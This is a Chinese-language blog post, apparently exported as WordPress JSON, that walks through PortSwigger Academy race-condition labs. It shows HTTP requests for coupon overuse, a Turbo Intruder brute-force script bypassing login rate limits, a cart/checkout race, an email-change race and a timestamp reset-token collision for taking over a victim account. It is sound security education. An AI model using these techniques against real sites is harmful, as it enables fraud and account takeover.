{"id":1301,"date":"2024-02-01T00:25:00","date_gmt":"2024-01-31T16:25:00","guid":{"rendered":"https:\/\/systw.net\/note\/?p=1301"},"modified":"2025-06-09T14:04:21","modified_gmt":"2025-06-09T06:04:21","slug":"racec-onditions","status":"publish","type":"post","link":"https:\/\/systw.net\/note\/archives\/1301","title":{"rendered":"Race conditions"},"content":{"rendered":"\n<p><\/p>\n\n\n\n<p><\/p>\n\n\n\n<p>\u6b64\u70ba\u5e38\u898b\u7684\u6f0f\u6d1e\uff0c\u8207\u696d\u52d9\u908f\u8f2f\u7f3a\u9677\u6709\u5bc6\u5207\u95dc\u4fc2\u3002\u7576\u7db2\u7ad9\u5728\u6c92\u6709\u8db3\u5920\u4fdd\u8b77\u63aa\u65bd\u7684\u60c5\u6cc1\u4e0b\u540c\u6642\u8655\u7406\u8acb\u6c42\u6642\uff0c\u5c31\u6703\u767c\u751f\u9019\u7a2e\u60c5\u6cc1\u3002\u9019\u53ef\u80fd\u6703\u5c0e\u81f4\u591a\u500b\u4e0d\u540c\u7684\u57f7\u884c\u7dd2\u540c\u6642\u4e92\u76f8\u5f71\u97ff\u800c\u5c0e\u81f4\u885d\u7a81\uff0c\u4f7f\u61c9\u7528\u7a0b\u5f0f\u4e2d\u51fa\u73fe\u610f\u5916\u884c\u70ba\u3002<\/p>\n\n\n\n<p><\/p>\n\n\n\n<p>\u5e38\u898b\u7684\u653b\u64ca\u65b9\u6cd5\u5982\u4e0b<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u9952\u904e\u53ea\u9650\u4e00\u6b21\u7684\u7533\u8acb<\/li>\n\n\n\n<li>\u9952\u904e\u7206\u529b\u7834\u89e3\u5bc6\u78bc\u9650\u5236<\/li>\n\n\n\n<li>\u9952\u904e\u591a\u6b65\u9a5f\u6d41\u7a0b<\/li>\n\n\n\n<li>\u55ae\u9ede\u8acb\u6c42<\/li>\n\n\n\n<li>\u9952\u904e\u57fa\u65bc\u6642\u9593\u7684\u6a5f\u5236<\/li>\n<\/ul>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<p><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u9952\u904e\u53ea\u9650\u4e00\u6b21\u7684\u7533\u8acb<\/h2>\n\n\n\n<p>\u6b63\u5e38\u7533\u8acbcoupon\u7684\u8acb\u6c42\u5982\u4e0b<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>########### request ########### \nPOST \/cart\/coupon HTTP\/2\nHost: 0a1000970471ccea8083675200b00078.web-security-academy.net\nCookie: session=A4gNQOKPCacLMB8drZWqyzWf0kZtYO1w\n...omit...\ncsrf=8tjtSGHVpSlBKdWlQZKSqCVydZactrC9&amp;coupon=PROMO20\n\n########### response ########### \nCoupon applied<\/code><\/pre>\n\n\n\n<p>\u5982\u679c\u5728\u57f7\u884c\u4e00\u6b21\u5c31\u6703\u8fd4\u56de<code>Coupon already applied<\/code>\uff0c\u6240\u4ee5\u4e00\u6b21\u53ea\u80fd\u7533\u8acb\u4e00\u500b<\/p>\n\n\n\n<p>\u4f46\u56e0\u70ba\u6709\u689d\u4ef6\u7af6\u901f\u6f0f\u6d1e\uff0c\u6240\u4ee5\u5982\u679c\u5728\u4e4b\u524d\u540c\u6642\u9001\u51fa\u591a\u500b\u8acb\u6c42\uff0c\u53ef\u4ee5\u4e00\u6b21\u7533\u8acb\u591a\u500bcoupon<\/p>\n\n\n\n<p>\u4f8b\u5982\uff0c\u5728<code>burpsuite\/repeater<\/code>\u5167\u9078\u64c7<code>send group in parallel<\/code>\uff0c\u5c31\u53ef\u4ee5\u5728\u540c\u4e00\u500b\u6642\u9593\u9001\u591a\u500b\u8acb\u6c42<\/p>\n\n\n\n<p>Lab: Limit overrun race conditions<\/p>\n\n\n\n<p><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<p><\/p>\n\n\n\n<p><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u9952\u904e\u7206\u529b\u7834\u89e3\u5bc6\u78bc\u9650\u5236<\/h2>\n\n\n\n<p>\u76ee\u6a19\u7db2\u7ad9\u5bc6\u78bc\u8f38\u5165\u932f\u8aa4\u4e09\u6b21\u6703\u9396\u5b9a10\u79d2\uff0c\u4f46\u5982\u679c\u4e00\u6b21\u5c31\u540c\u6642\u9001\u51fa\u5927\u91cf\u4e0d\u540c\u5bc6\u78bc\u7684\u767b\u5165\u8acb\u6c42\uff0c\u53ef\u4ee5\u9952\u904e\u9019\u500b\u9650\u5236<\/p>\n\n\n\n<p>\u5148\u628a\u4ee5\u4e0b\u767b\u5165\u8acb\u6c42\u50b3\u9001\u5230<code>extension\/turbo intruder\/send to turbo intruder<\/code><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>########### request ########### \nPOST \/login HTTP\/2\nHost: 0afb00fd046f7a6d82e620da00cf000b.web-security-academy.net\nCookie: session=51MNANP3VemzBiCc7NVsaQgR1IdDuq1J\n...omit...\n\ncsrf=RQrrsXrTYltTnCOmRgRUW06cZp6kAXEE&amp;username=carlos&amp;password=superman<\/code><\/pre>\n\n\n\n<p>\u5728turbo intruder\u4e2d\uff0c\u5c07\u5bc6\u78bc\u7684\u5730\u65b9\u63db\u6210<mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-red-color\">%s<\/mark>\u5982\u4e0b<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>########### request ########### \nPOST \/login HTTP\/2\nHost: 0afb00fd046f7a6d82e620da00cf000b.web-security-academy.net\nCookie: session=51MNANP3VemzBiCc7NVsaQgR1IdDuq1J\n...omit...\n\ncsrf=RQrrsXrTYltTnCOmRgRUW06cZp6kAXEE&amp;username=carlos&amp;password=<mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-red-color\">%s<\/mark><\/code><\/pre>\n\n\n\n<p>\u4e26\u5728\u6a21\u7248\u4e2d\u9078examples\/race-single-packet-attack.py\uff0c\u4e26\u4fee\u6539\u5982\u4e0b<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>def queueRequests(target, wordlists):\n\n    # if the target supports HTTP\/2, use engine=Engine.BURP2 to trigger the single-packet attack\n    # if they only support HTTP\/1, use Engine.THREADED or Engine.BURP instead\n    # for more information, check out https:\/\/portswigger.net\/research\/smashing-the-state-machine\n    engine = RequestEngine(endpoint=target.endpoint,\n                           concurrentConnections=1,\n                           engine=Engine.BURP2\n                           )\n\n    # assign the list of candidate passwords from your clipboard\n  <mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-red-color\">  passwords = wordlists.clipboard<\/mark>\n        \n    # queue a login request using each password from the wordlist\n    # the 'gate' argument withholds the final part of each request until engine.openGate() is invoked\n    for password in passwords:\n        engine.queue(target.req, password, gate='1')\n\n    # once every 'race1' tagged request has been queued\n    # invoke engine.openGate() to send them in sync\n    engine.openGate('1')\n\n\ndef handleResponse(req, interesting):\n    table.add(req)<\/code><\/pre>\n\n\n\n<p>\u7531\u65bc\u6b64\u8173\u672c\u4f7f\u7528\u8a72\u8a9e\u6cd5<code>passwords = wordlists.clipboard<\/code>\uff0c\u56e0\u6b64\u9700\u8981\u5148\u53bb\u5b57\u5178\u6a94\u5c07\u5bc6\u78bc\u8907\u5236\uff0c\u5b57\u5178\u6a94\u683c\u5f0f\u5fc5\u9808\u5982\u4e0b<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>123123\nabc123\nfootball\nmonkey\n...omit...<\/code><\/pre>\n\n\n\n<p>\u8907\u88fd\u5f8c\u5728\u9ede\u9078turbo intruder\u7684\u653b\u64ca\uff0c\u4fbf\u53ef\u4e00\u6b21\u9001\u51fa\u591a\u500b\u767b\u5165\u5bc6\u78bc\u505a\u9a57\u8b49\uff0c\u5373\u4fbf\u6709\u4e09\u6b21\u9650\u5236\u4e5f\u4f86\u4e0d\u53ca\u8655\u7406\u7a81\u7136\u9593\u5927\u91cf\u540c\u6642\u7684\u8acb\u6c42\u3002\u4e00\u4f46\u5bc6\u78bc\u6b63\u78ba\u5247\u8fd4\u56de\u5982\u4e0b\u4fe1\u606f<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>HTTP\/2 302 Found\nLocation: \/my-account?id=carlos\nSet-Cookie: session=ipaou37SDt58D1igheOIc0dZhIKbj09T; Secure; HttpOnly; SameSite=None\nX-Frame-Options: SAMEORIGIN\nContent-Length: 0<\/code><\/pre>\n\n\n\n<p>Lab: Bypassing rate limits via race conditions<\/p>\n\n\n\n<p><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<p><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u9952\u904e\u591a\u6b65\u9a5f\u6d41\u7a0b<\/h2>\n\n\n\n<p>\u540c\u6642\u5411\u591a\u500b\u7aef\u9ede\u767c\u9001\u8acb\u6c42\uff0c\u5f88\u9069\u5408\u7528\u5728\u6709\u591a\u500b\u6b65\u9a5f\u7684\u6d41\u7a0b\uff0c\u4ee5\u8cfc\u7269\u8eca\u7684\u4f8b\u5b50\u4f86\u8aaa\uff0c\u6700\u5e38\u898b\u7684\u5c31\u662f\u5229\u7528\u4ed8\u6b3e\u9a57\u8b49\u5f8c\u5230\u8a02\u55ae\u6700\u7d42\u78ba\u8a8d\u6642\u7684\u9019\u6bb5\u671f\u9593\uff0c\u5077\u585e\u66f4\u591a\u5546\u54c1<\/p>\n\n\n\n<p>\u8209\u4f8b\u5982\u4e0b\uff0c\u5c07\u5546\u54c1\u653e\u5165\u8cfc\u7269\u8eca\u7684\u8acb\u6c42\u5982\u4e0b<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>########### request ########### \nPOST \/cart HTTP\/2\nHost: 0af6000f042c82838020b825003a00b7.web-security-academy.net\nCookie: session=luorI2dsMrYk3uq1ZKqpnueYkyCrw4tF\n...omit...\nproductId=2&amp;redir=PRODUCT&amp;quantity=1\n\n########### response ########### \nHTTP\/2 302 Found\nLocation: \/product?productId=2\nX-Frame-Options: SAMEORIGIN\nContent-Length: 0<\/code><\/pre>\n\n\n\n<p>\u7d50\u5e33\u7684\u8acb\u6c42\u5982\u4e0b<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>########### request ########### \nPOST \/cart\/checkout HTTP\/2\nHost: 0af6000f042c82838020b825003a00b7.web-security-academy.net\nCookie: session=luorI2dsMrYk3uq1ZKqpnueYkyCrw4tF\n...omit...\ncsrf=2yFzJdest9UUhYC1EmKKckznUuD0Cf4V\n\n########### response ########### \n...omit...\nYour order is on its way!\n...omit...<\/code><\/pre>\n\n\n\n<p>\u8cfc\u7269\u8eca\u8acb\u6c42\u548c\u7d50\u5e33\u8acb\u6c42\u4e4b\u9593\u5b58\u5728\u6f0f\u6d1e\uff0c\u56e0\u6b64\u6709\u6a5f\u6703\u5728\u7d50\u5e33\u5b8c\u6210\u524d\uff0c\u5728\u8cfc\u7269\u8eca\u984d\u5916\u589e\u52a0\u4e00\u500b\u65b0\u5546\u54c1\uff0c\u7531\u65bc\u5728\u9032\u884c\u7d50\u5e33\u6642\u4f86\u4e0d\u53ca\u628a\u65b0\u5546\u54c1\u7684\u91d1\u984d\u7b97\u9032\u53bb\uff0c\u56e0\u6b64\u5373\u4fbf\u591a\u4e86\u4e00\u500b\u5546\u54c1\uff0c\u50f9\u683c\u9084\u662f\u548c\u4e4b\u524d\u4e00\u6a23<\/p>\n\n\n\n<p>\u70ba\u4e86\u4f7f\u7528\u9019\u500b\u6f0f\u6d1e\uff0c\u5fc5\u9808\u5c07\u4ee5\u4e0b\u653e\u5165\u8cfc\u7269\u8eca\u548c\u7d50\u5e33\u8acb\u6c42\u5728\u540c\u4e00\u500b\u6642\u9593\u9001\u51fa\uff0c\u53ef\u4ee5\u7528<code>repeater group send in parallel<\/code>\u529f\u80fd<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>POST \/cart HTTP\/2\nHost: 0af6000f042c82838020b825003a00b7.web-security-academy.net\nCookie: session=luorI2dsMrYk3uq1ZKqpnueYkyCrw4tF\n...omit...\nproductId=1&amp;redir=PRODUCT&amp;quantity=1<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>POST \/cart\/checkout HTTP\/2\nHost: 0af6000f042c82838020b825003a00b7.web-security-academy.net\nCookie: session=luorI2dsMrYk3uq1ZKqpnueYkyCrw4tF\n...omit...\ncsrf=2yFzJdest9UUhYC1EmKKckznUuD0Cf4V<\/code><\/pre>\n\n\n\n<p>\u7531\u65bc\u8acb\u6c42\u627a\u9054\u6642\u9593\u5dee\u7684\u95dc\u4fc2\uff0c\u540c\u6642\u9001\u4e0d\u4e00\u5b9a\u6703\u6210\u529f\uff0c\u53ef\u80fd\u8981\u591a\u8a66\u5e7e\u6b21\uff0c\u4e00\u65e6\u6210\u529f\u5c31\u53ef\u4ee5\u5077\u6e21\u65b0\u5546\u54c1<\/p>\n\n\n\n<p>Lab: Multi-endpoint race conditions<\/p>\n\n\n\n<p><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<p><\/p>\n\n\n\n<p><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u55ae\u9ede\u8acb\u6c42<\/h2>\n\n\n\n<p>\u5c07\u5177\u6709\u4e0d\u540c\u503c\u7684\u5e73\u884c\u8acb\u6c42\u50b3\u9001\u5230\u55ae\u4e00\u7aef\u9ede\u6709\u6642\u6703\u89f8\u767c\u5f37\u5927\u7684\u7af6\u722d\u689d\u4ef6\uff0c\u8209\u4f8b\u5982\u4e0b<\/p>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u6b63\u5e38\u8acb\u6c42<\/h3>\n\n\n\n<p>wiener\u66f4\u6539email\u6642\u6703\u5728cookie\u4e2d\u5e36\u4e0a\u81ea\u5df1\u7684session: XWucQeA0PHPyZbfNSg0sRrunLdEEjYEM \uff0cbody\u4e2d\u7684email\u53c3\u6578\u6307\u5b9a\u65b0\u4fe1\u7bb1\u4f4d\u7f6e\uff0c\u5982\u4e0b\u8acb\u6c42<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>POST \/my-account\/change-email HTTP\/2\nHost: 0ac200cb03ab64978078499c00c800c7.web-security-academy.net\nCookie: session=XWucQeA0PHPyZbfNSg0sRrunLdEEjYEM\n...omit...\nemail=wiener%40exploit-0ae5004603a6640680c94899011d00be.exploit-server.net&amp;csrf=hd2siI7G44fAe6A6tw0r2LjlWmFMqds1<\/code><\/pre>\n\n\n\n<p>\u63a5\u8457\u7cfb\u7d71\u6703\u628aemail\u66f4\u6539\u9023\u7d50\u5bc4\u5230\u65b0\u4fe1\u7bb1\uff0c\u5167\u5bb9\u5982\u4e0b<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>####### wiener@exploit-0ae5004603a6640680c94899011d00be.exploit-server.net #######\nTo confirm your email change to wiener@exploit-0ae5004603a6640680c94899011d00be.exploit-server.net, click the link below\nClick here to confirm.<\/code><\/pre>\n\n\n\n<p>\u78ba\u8a8d\u9023\u7d50\u9ede\u64ca\u5f8c\u6703\u9001\u51fa\u4ee5\u4e0b\u8acb\u6c42\uff0c\u670d\u52d9\u5668\u6aa2\u67e5\u662f\u525bwiener\u7533\u8acb\u7684token\u7121\u8aa4\u5f8c\u5c31\u66f4\u6539\u70ba\u6b64email<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>########### request ########### \nGET \/confirm-email?user=wiener&amp;token=OP6H667c4JvNXmzh \n...omit...\n\n########### response ###########\n...omit...\nYour email has been successfully updated <\/code><\/pre>\n\n\n\n<p>\u4f46\u5982\u679c\u9001\u51fa2\u6b21email\u66f4\u6539\u8acb\u6c42\uff0c\u53ea\u6709\u6700\u5f8c\u4e00\u500bemail\u66f4\u6539\u9023\u7d50\u662f\u6709\u7528\u7684<\/p>\n\n\n\n<p>\u4f46\u7531\u65bc\u76ee\u6a19\u6709\u6f0f\u6d1e\uff0c\u56e0\u6b64\u5c07\u76f8\u540c\u6703\u8a71\u540c\u6642\u767c\u9001\u5169\u500b\u5bc6\u78bc\u91cd\u8a2d\u8acb\u6c42\uff0c\u4f46\u4f7f\u7528\u5169\u500b\u4e0d\u540c\u7684\u4f7f\u7528\u8005\uff0c\u53ef\u80fd\u6703\u5c0e\u81f4\u4e92\u76f8\u8986\u5beb<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u767c\u52d5\u653b\u64ca<\/h3>\n\n\n\n<p>\u4ee5wiener\u8eab\u4efd\uff08session=XWucQeA0PHPyZbfNSg0sRrunLdEEjYEM\uff09\u6e96\u50992\u500b\u8acb\u6c42\u540c\u6642\u767c\u9001\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u66f4\u6539\u6210wiener\u81ea\u5df1\u7684email<\/li>\n\n\n\n<li>\u66f4\u6539\u70ba\u6307\u5b9aemail:carlos@ginandjuice.shop<\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code>POST \/my-account\/change-email HTTP\/2\nHost: 0ac200cb03ab64978078499c00c800c7.web-security-academy.net\nCookie: session=XWucQeA0PHPyZbfNSg0sRrunLdEEjYEM\n...omit...\nemail=carlos@ginandjuice.shop&amp;csrf=hd2siI7G44fAe6A6tw0r2LjlWmFMqds1<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>POST \/my-account\/change-email HTTP\/2\nHost: 0ac200cb03ab64978078499c00c800c7.web-security-academy.net\nCookie: session=XWucQeA0PHPyZbfNSg0sRrunLdEEjYEM\n...omit...\nemail=wiener%40exploit-0ae5004603a6640680c94899011d00be.exploit-server.net&amp;csrf=hd2siI7G44fAe6A6tw0r2LjlWmFMqds1<\/code><\/pre>\n\n\n\n<p>\u8207\u662f\u6703\u7522\u751f2\u500btoken\u5206\u5225\u5c0d\u61c9\u7b2c\u4e00\u500b\u8acb\u6c42<code>token=xxxxxxxx1<\/code>\u548c\u7b2c\u4e8c\u500b\u8acb\u6c42<code>token=xxxxxxxx2<\/code><\/p>\n\n\n\n<p>\u5982\u679c\u6f0f\u6d1e\u5229\u7528\u6210\u529f\uff0c\u539f\u672c\u8981\u5bc4\u7d66<code>wiener@exploit<\/code>\u7684\u5167\u5bb9\u5c31\u6703\u88ab<code>carlos@ginandjuice.shop<\/code>\u7684\u5167\u5bb9\u548ctoken\u8907\u5beb\uff0c\u88ab\u8907\u5beb\u7684\u5167\u5bb9\u5982\u4e0b\u3002\u56e0\u70ba\u4e0d\u4e00\u5b9a\u6bcf\u6b21\u90fd\u80fd\u9806\u5229\u4e92\u76f8\u8986\u5beb\uff0c\u5982\u679c\u6c92\u6709\u5c31\u591a\u8a66\u5e7e\u6b21\u3002<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>####### wiener@exploit-0ae5004603a6640680c94899011d00be.exploit-server.net #######\nTo confirm your email change to carlos@ginandjuice.shop, click the link below\nClick here to confirm.<\/code><\/pre>\n\n\n\n<p>\u78ba\u8a8d\u9023\u7d50\u9ede\u64ca\u5f8c\u6703\u9001\u51fa<code>user=wiener&amp;token=xxxxxxxx1<\/code>\uff0c\u670d\u52d9\u5668\u6aa2\u67e5\u662f\u525b\u7533\u8acb\u7684\u7b2c1\u500b\u8acb\u6c42\uff0c\u5c31\u66f4\u6539\u70ba\u6b64email<\/p>\n\n\n\n<p>Lab: Single-endpoint race conditions<\/p>\n\n\n\n<p><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<p><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u9952\u904e\u57fa\u65bc\u6642\u9593\u7684\u6a5f\u5236<\/h2>\n\n\n\n<p>\u6709\u4e9b\u7cfb\u7d71\u4f7f\u7528\u6642\u9593\u6233\u800c\u4e0d\u662f\u52a0\u5bc6\u5b89\u5168\u96a8\u6a5f\u5b57\u4e32\u4f86\u7522\u751f\u5b89\u5168token\uff0c\u7531\u65bc\u6642\u9593\u53ef\u63a7\uff0c\u56e0\u6b64\u53ef\u4ee5\u63a7\u5236token\u5167\u5bb9\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u6b63\u5e38\u91cd\u7f6e\u5bc6\u78bc\u6d41\u7a0b<\/h3>\n\n\n\n<p>\u5047\u8a2d\u4e00\u7db2\u7ad9\u91cd\u7f6e\u5bc6\u78bc\u904e\u7a0b\u5982\u4e0b\uff0c\u4e00\u958b\u59cb\u5148\u8a2a\u554f\u6539\u5bc6\u78bc\u9801\u9762<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>################## request ###################\nGET \/forgot-password HTTP\/2\nHost: 0a2100a4040e112a80a82baf00ef00f8.web-security-academy.net\nCookie: phpsessionid=mOzgnrJvsnAQQTarnzw6NMOI15OlQBRt\n\n################## response ###################\nHTTP\/2 200 OK\nContent-Type: text\/html; charset=utf-8\n...omit...\n&lt;input required type=\"hidden\" name=\"csrf\" value=\"LVUs8A8whLu94FNSObYiHEszwQqaY1YN\"\n...omit...<\/code><\/pre>\n\n\n\n<p>\u8f38\u5165\u8981\u91cd\u7f6e\u5bc6\u78bc\u7684\u5e33\u6236wiener\u5f8c\u9001\u51fa\u8acb\u6c42\u5982\u4e0b<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>POST \/forgot-password HTTP\/2\nHost: 0a2100a4040e112a80a82baf00ef00f8.web-security-academy.net\nCookie: phpsessionid=mOzgnrJvsnAQQTarnzw6NMOI15OlQBRt\n...omit..\ncsrf=LVUs8A8whLu94FNSObYiHEszwQqaY1YN&amp;username=<mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-red-color\">wiener<\/mark><\/code><\/pre>\n\n\n\n<p>\u63a5\u8457\u7cfb\u7d71\u6703\u767c\u4fe1\u5230wiener\u7684\u4fe1\u7bb1\uff0c\u6536\u5230\u4fe1\u5f8c\u9ede\u64ca\u78ba\u8a8d\u6703\u50b3\u9001\u4ee5\u4e0b\u8acb\u6c42\u901a\u77e5\u670d\u52d9\u5668\uff0c\u670d\u52d9\u5668\u5c31\u6703\u5141\u8a31\u9032\u5165\u91cd\u8a2dwiener\u5bc6\u78bc\u7684\u9801\u9762<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>GET forgot-password?user=wiener&amp;token=a35476a90b1e534ab27b504ef9920a3aed86edfb<\/code><\/pre>\n\n\n\n<p><\/p>\n\n\n\n<p>\u4f46\u7531\u65bc\u7cfb\u7d71\u4f7f\u7528\u6642\u9593\u622a\u505a\u70ba\u91cd\u7f6etoken\uff0c\u6240\u4ee5\u53ea\u8981\u7522\u751f2\u500b\u4e00\u6a23\u7684\u6642\u9593\u622a\uff0c\u5c31\u6703\u7522\u751f2\u500b\u4e00\u6a21\u4e00\u6a23\u7684\u5bc6\u78bc\u91cd\u7f6etoken\u3002\u63db\u53e5\u8a71\u8aaa\u7522\u751f2\u500b\u4e0d\u540cuser\u7684\u91cd\u7f6e\u5bc6\u78bc\u8acb\u6c42\uff0c\u4e26\u8b93\u6642\u9593\u622a\u4e00\u6a23\uff0c\u90192\u500buser\u5c31\u5171\u7528\u4e00\u500b\u5bc6\u78bc\u91cd\u7f6etoken<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u653b\u64ca\u6e96\u5099<\/h3>\n\n\n\n<p>\u56e0\u6b64\u8981\u6e96\u50992\u500bforgot-password\u8acb\u6c42\uff0c\u7b2c\u4e00\u500b\u7528\u653b\u64ca\u8005wiener\u7684\u8acb\u6c42\uff0c\u7b2c\u4e8c\u500b\u7528\u53d7\u5bb3\u8005carlos\u7684\u8acb\u6c42\u3002\u88fd\u505a\u7b2c2\u500b\u8acb\u6c42\u5148\u5f88\u7c21\u55ae\uff0c\u628a\u539f\u672ccookie\u7684session\u522a\u9664\u5728\u8acb\u6c42\u5f8c\uff0c\u53ef\u5f97\u5230\u65b0session\uff0c\u5982\u4e0b<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>################## request ###################\nGET \/forgot-password HTTP\/2\nHost: 0a2100a4040e112a80a82baf00ef00f8.web-security-academy.net\n\n################## response ###################\nHTTP\/2 200 OK\nContent-Type: text\/html; charset=utf-8\nSet-Cookie: <mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-red-color\">phpsessionid=JJXxZDv0iAg5fShr8MVNGmLBBJkvuBr0<\/mark>; Secure; HttpOnly; SameSite=None\n...omit...\n&lt;input required type=\"hidden\" name=\"csrf\" value=\"<mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-red-color\">IZD4zpXvQLoSffem5Z3FsK4LTblSvwAh<\/mark>\"\n...omit...<\/code><\/pre>\n\n\n\n<p>\u63a5\u8457\u7b2c\u4e8c\u500b\u8acb\u6c42\u4f7f\u7528\u65b0session\u548c\u65b0csrf token\uff0c\u4e26\u5c07username\u6307\u5b9a\u70ba\u53d7\u5bb3\u8005carlos<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>POST \/forgot-password HTTP\/2\nHost: 0a2100a4040e112a80a82baf00ef00f8.web-security-academy.net\nCookie: phpsessionid=<mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-red-color\">JJXxZDv0iAg5fShr8MVNGmLBBJkvuBr0<\/mark>\n...omit..\ncsrf=<mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-red-color\">IZD4zpXvQLoSffem5Z3FsK4LTblSvwAh<\/mark>&amp;username=carlos<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">\u767c\u52d5\u653b\u64ca<\/h3>\n\n\n\n<p>\u5c07\u6e96\u5099\u597d\u76842\u500b\u8acb\u6c42\u540c\u6642\u9001\u51fa\uff0c\u53ef\u4ee5\u7528<code>repeater group send in parallel<\/code>\u529f\u80fd<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>POST \/forgot-password HTTP\/2\nHost: 0a2100a4040e112a80a82baf00ef00f8.web-security-academy.net\nCookie: phpsessionid=mOzgnrJvsnAQQTarnzw6NMOI15OlQBRt\n...omit..\ncsrf=LVUs8A8whLu94FNSObYiHEszwQqaY1YN&amp;username=<mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-red-color\">wiener<\/mark><\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>POST \/forgot-password HTTP\/2\nHost: 0a2100a4040e112a80a82baf00ef00f8.web-security-academy.net\nCookie: phpsessionid=JJXxZDv0iAg5fShr8MVNGmLBBJkvuBr0\n...omit..\ncsrf=IZD4zpXvQLoSffem5Z3FsK4LTblSvwAh&amp;username=<mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-red-color\">carlos<\/mark><\/code><\/pre>\n\n\n\n<p>\u63a5\u8457\u7cfb\u7d71\u6703\u767c\u9001\u78ba\u8a8d\u93c8\u7d50\u5230wiener\u548ccarlos\u7684\u4fe1\u7bb1\uff0c\u4ee5\u4e0b\u662fwiener\u7684\u78ba\u8a8d\u93c8\u7d50\uff0c\u9ede\u64ca\u5f8c\u53ef\u4fee\u6539wiener\u5bc6\u78bc<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>https:&#47;&#47;0a2100a4040e112a80a82baf00ef00f8.web-security-academy.net\/forgot-password?user=wiener&amp;token=a35476a90b1e534ab27b504ef9920a3aed86edfb<\/code><\/pre>\n\n\n\n<p>\u4f46\u56e0\u70ba\u653b\u64ca\u76ee\u6a19\u70ba\u53d7\u5bb3\u8005\uff0c\u56e0\u6b64\u5c07\u78ba\u8a8d\u93c8\u7d50\u7684<code>user<\/code>\u6539\u70bacarlos\u5982\u4e0b<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>https:\/\/0a2100a4040e112a80a82baf00ef00f8.web-security-academy.net\/forgot-password?user=<mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-red-color\">carlos<\/mark>&amp;token=a35476a90b1e534ab27b504ef9920a3aed86edfb<\/code><\/pre>\n\n\n\n<p>\u7531\u65bctoken\u5728\u540c\u4e00\u6642\u9593\u7522\u751f\u53ef\u5171\u7528\uff0c\u56e0\u6b64\u9001\u51fa\u6b64\u8acb\u6c42\u53ef\u4fee\u6539\u53d7\u5bb3\u8005\u4fee\u6539<\/p>\n\n\n\n<p>Lab: Exploiting time-sensitive vulnerabilities<\/p>\n\n\n\n<p><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<p><\/p>\n\n\n\n<p><\/p>\n\n\n\n<p><\/p>\n\n\n\n<p>refer<br><a href=\"https:\/\/portswigger.net\/web-security\/race-conditions\" target=\"_blank\" rel=\"noopener\">https:\/\/portswigger.net\/web-security\/race-conditions<\/a><br><a href=\"https:\/\/systw.net\/note\/archives\/397\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/systw.net\/note\/archives\/397<\/a><\/p>\n\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Race 